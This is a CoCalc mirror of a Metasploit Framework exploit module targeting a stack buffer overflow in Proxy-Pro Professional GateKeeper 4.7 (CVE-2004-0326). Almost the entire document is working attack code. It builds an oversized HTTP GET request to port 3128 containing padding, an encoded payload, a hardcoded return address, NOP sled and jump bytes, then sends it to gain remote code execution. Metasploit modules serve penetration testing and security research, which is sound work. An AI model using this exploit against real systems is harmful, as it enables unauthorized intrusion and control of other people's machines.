CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/proxy/proxypro_http_get.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Proxy-Pro Professional
16
GateKeeper 4.7. By sending a long HTTP GET to the default port
17
of 3128, a remote attacker could overflow a buffer and execute
18
arbitrary code.
19
},
20
'Author' => 'MC',
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
['CVE', '2004-0326'],
25
['OSVDB', '4027'],
26
['BID', '9716'],
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
},
32
'Payload' =>
33
{
34
'Space' => 500,
35
'BadChars' => "\x00+&=%\x0a\x0d\x20",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
42
],
43
'Privileged' => true,
44
'DisclosureDate' => '2004-02-23',
45
'DefaultTarget' => 0))
46
47
register_options(
48
[
49
Opt::RPORT(3128)
50
])
51
end
52
53
def exploit
54
connect
55
56
print_status("Trying target #{target.name}...")
57
58
sploit = "GET /" + rand_text_english(3603, payload_badchars)
59
sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
60
sploit += "\xe9" + [-497].pack('V') + " HTTP/1.0" + "\r\n\r\n"
61
62
sock.put(sploit)
63
sock.get_once(-1, 3)
64
65
handler
66
disconnect
67
end
68
end
69
70